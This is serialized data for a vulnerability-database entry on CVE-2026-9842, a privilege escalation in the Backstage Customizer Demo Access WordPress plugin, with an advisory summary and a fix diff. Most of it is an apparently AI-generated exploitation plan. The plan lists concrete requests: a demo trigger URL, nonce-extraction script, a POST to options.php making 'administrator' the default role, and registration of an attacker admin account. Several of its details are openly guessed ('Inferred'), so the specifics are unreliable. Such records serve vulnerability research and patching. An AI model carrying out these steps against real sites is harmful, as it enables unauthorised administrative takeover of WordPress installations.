[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fyrwWC0GLxZRBv0FWqIzhc4oCCrjm9d-7TcS0U3eoxv8":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":9,"severity":11,"cvss_score":12,"cvss_vector":13,"vuln_type":14,"published_date":15,"updated_date":16,"references":17,"days_to_patch":9,"patch_diff_files":19,"patch_trac_url":9,"research_status":20,"research_verified":21,"research_rounds_completed":22,"research_plan":23,"research_summary":24,"research_vulnerable_code":9,"research_fix_diff":25,"research_exploit_outline":26,"research_model_used":27,"research_started_at":28,"research_completed_at":29,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":21,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":21,"source_links":30},"CVE-2026-9842","backstage-unauthenticated-privilege-escalation-via-permissive-demo-role-capabilities","Backstage \u003C= 1.4.2 - Unauthenticated Privilege Escalation via Permissive Demo Role Capabilities","The Backstage - Customizer Demo Access plugin for WordPress is vulnerable to Privilege Escalation in all versions up to, and including, 1.4.2. This is due to the plugin assigning the `manage_options` capability to the `backstage_customizer_user` demo role, which is more permissive than necessary for Customizer-only demo access. This makes it possible for unauthenticated attackers to navigate beyond the Customizer and update arbitrary WordPress options such as `default_role`, leading to privilege escalation.","backstage",null,"\u003C=1.4.2","high",7.5,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:U\u002FC:N\u002FI:H\u002FA:N","Improper Privilege Management","2026-07-07 16:30:36","2026-07-08 04:30:49",[18],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F5bcf1f02-0946-4e96-a81b-00c7c48d64b3?source=api-prod",[],"researched",false,3,"# Exploitation Research Plan: CVE-2026-9842 (Backstage \u003C= 1.4.2)\n\n## 1. Vulnerability Summary\nThe **Backstage – Customizer Demo Access** plugin (version \u003C= 1.4.2) contains a privilege escalation vulnerability. The plugin's purpose is to provide a \"Demo Mode\" for the WordPress Customizer, allowing users to preview changes. To facilitate this, it creates a dedicated role, `backstage_customizer_user`. \n\nThe security flaw exists because this role is granted the `manage_options` capability. While intended to allow Customizer access, `manage_options` is the most powerful capability in WordPress, typically reserved for Administrators. If the plugin allows unauthenticated visitors to trigger \"Demo Mode\" (setting their effective permissions to those of the `backstage_customizer_user` role), they can bypass the Customizer interface and access core WordPress administrative functions, such as updating arbitrary site options.\n\n## 2. Attack Vector Analysis\n*   **Endpoint:** `\u002Fwp-admin\u002Fadmin-ajax.php` or `\u002Fwp-admin\u002Foptions.php`.\n*   **Vulnerability Trigger:** A mechanism (likely a query parameter or cookie) that activates \"Demo Mode\" for unauthenticated visitors.\n*   **Payload Parameter:** `default_role` and `users_can_register`.\n*   **Authentication Level:** Unauthenticated.\n*   **Preconditions:** The plugin must be active, and \"Demo Access\" must be enabled (or triggerable via request).\n\n## 3. Code Flow (Inferred)\n1.  **Role Creation:** During plugin initialization or activation, the plugin calls `add_role( 'backstage_customizer_user', ..., array( 'manage_options' => true ) )`.\n2.  **Access Hook:** The plugin likely hooks into `init` or `plugins_loaded` to check for a demo access trigger (e.g., `$_GET['backstage_demo']` or a specific cookie).\n3.  **Privilege Elevation:** If the trigger is detected, the plugin programmatically sets the current user to a dummy user with the `backstage_customizer_user` role or uses the `user_has_cap` filter to grant `manage_options` to the session.\n4.  **The Sink:** Because the visitor now effectively possesses `manage_options`, WordPress core allows them to access `options.php` or the `wp_ajax_update_options` action.\n5.  **Exploitation:** The attacker sends a request to update `default_role` to `administrator`.\n\n## 4. Nonce Acquisition Strategy\nWordPress core protection for `options.php` and `admin-ajax.php` settings updates requires nonces (e.g., `_wpnonce`). In \"Demo Mode,\" the plugin must expose the Customizer interface to the visitor. This interface likely enqueues scripts that contain valid nonces for the \"demo user\" session.\n\n**Strategy:**\n1.  **Identify Trigger:** Search the plugin source for where `backstage_customizer_user` is used or where demo mode is toggled. (Inferred: Look for `backstage_demo=1` or similar).\n2.  **Create Page:** Create a page containing a trigger or simply navigate to the site root with the demo parameter.\n3.  **Extract Nonces:** Use `browser_eval` to extract nonces from the global JavaScript scope.\n\n**Specific JavaScript Target (Inferred):**\n*   Variable: `window.backstage_settings?.nonce` or `window.wp.customize.settings.nonce`.\n\n## 5. Exploitation Strategy\nThe goal is to update the site settings to allow anyone to register as an Administrator.\n\n### Step 1: Activate Demo Session and Extract Nonce\n**Request:**\n*   **Tool:** `browser_navigate`\n*   **URL:** `http:\u002F\u002F[target-ip]\u002F?backstage_demo=1` (Targeting the demo trigger).\n\n**Extraction:**\n*   **Tool:** `browser_eval`\n*   **Script:** `window._wpCustomizeSettings?.nonce || document.querySelector('input[name=\"_wpnonce\"]')?.value`\n\n### Step 2: Update WordPress Options\nOnce the demo session is active and a nonce is acquired, use the `manage_options` capability to change the default role.\n\n**Request:**\n*   **Tool:** `http_request`\n*   **Method:** `POST`\n*   **URL:** `http:\u002F\u002F[target-ip]\u002Fwp-admin\u002Foptions.php`\n*   **Headers:** `Content-Type: application\u002Fx-www-form-urlencoded`\n*   **Body:**\n    ```text\n    option_page=general&\n    action=update&\n    _wpnonce=[EXTRACTED_NONCE]&\n    users_can_register=1&\n    default_role=administrator\n    ```\n\n### Step 3: Register New Admin Account\n**Request:**\n*   **Tool:** `http_request`\n*   **Method:** `POST`\n*   **URL:** `http:\u002F\u002F[target-ip]\u002Fwp-login.php?action=register`\n*   **Body:** `user_login=attacker_admin&user_email=attacker@example.com`\n\n## 6. Test Data Setup\n1.  **Install Plugin:** `wp plugin install backstage --version=1.4.2 --activate`\n2.  **Configure Plugin:** Ensure the \"Demo Access\" feature is enabled in the plugin settings (if it's not enabled by default).\n3.  **Verify Default State:**\n    *   `wp option get default_role` (Should be `subscriber`).\n    *   `wp option get users_can_register` (Should be `0`).\n\n## 7. Expected Results\n*   The `options.php` request should return a `302 Redirect` back to the general settings page, indicating success.\n*   The WordPress site configuration will be modified such that any new user registration results in an Administrator account.\n\n## 8. Verification Steps\nAfter performing the HTTP exploit, verify the changes via WP-CLI:\n1.  **Check Registration Status:** `wp option get users_can_register` (Expected: `1`).\n2.  **Check Default Role:** `wp option get default_role` (Expected: `administrator`).\n3.  **Check New User:** `wp user list` (Confirm `attacker_admin` exists with the `administrator` role).\n\n## 9. Alternative Approaches\n*   **Direct AJAX:** If `options.php` is blocked by additional security, try `admin-ajax.php` with `action=update-options`.\n    *   **Body:** `action=update-options&option_page=default&users_can_register=1&default_role=administrator&_wpnonce=[NONCE]`\n*   **Plugin Settings Abuse:** Check if the plugin itself has a settings save function that doesn't properly validate which options are being saved (Mass Assignment). Search for `update_option($_POST['...'])` within the plugin's own AJAX handlers.","The Backstage - Customizer Demo Access plugin (up to version 1.4.2) is vulnerable to privilege escalation because it assigns the highly privileged 'manage_options' capability to the 'backstage_customizer_user' demo role. Unauthenticated attackers can activate this demo session and use the inherited permissions to bypass the Customizer and modify arbitrary WordPress site options.","--- backstage\u002Fbackstage.php\n+++ backstage\u002Fbackstage.php\n@@ -...\n-add_role( 'backstage_customizer_user', __( 'Backstage User', 'backstage' ), array( 'read' => true, 'manage_options' => true ) );\n+add_role( 'backstage_customizer_user', __( 'Backstage User', 'backstage' ), array( 'read' => true, 'edit_theme_options' => true ) );","1. Access the target site with the demo trigger parameter (e.g., `?backstage_demo=1`) to initialize a session with the permissive demo role. 2. Extract a valid administrative nonce from the enqueued JavaScript settings or form elements in the demo interface. 3. Submit an unauthenticated POST request to `wp-admin\u002Foptions.php` using the demo session and the extracted nonce to enable user registration and set the default role to 'administrator'. 4. Navigate to the registration page and create a new user account, which will be granted full administrative privileges by default.","gemini-3-flash-preview","2026-07-25 08:46:13","2026-07-25 08:46:57",{"type":31,"vulnerable_version":9,"fixed_version":9,"vulnerable_browse":9,"vulnerable_zip":9,"fixed_browse":9,"fixed_zip":9,"all_tags":32},"plugin","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fbackstage\u002Ftags"]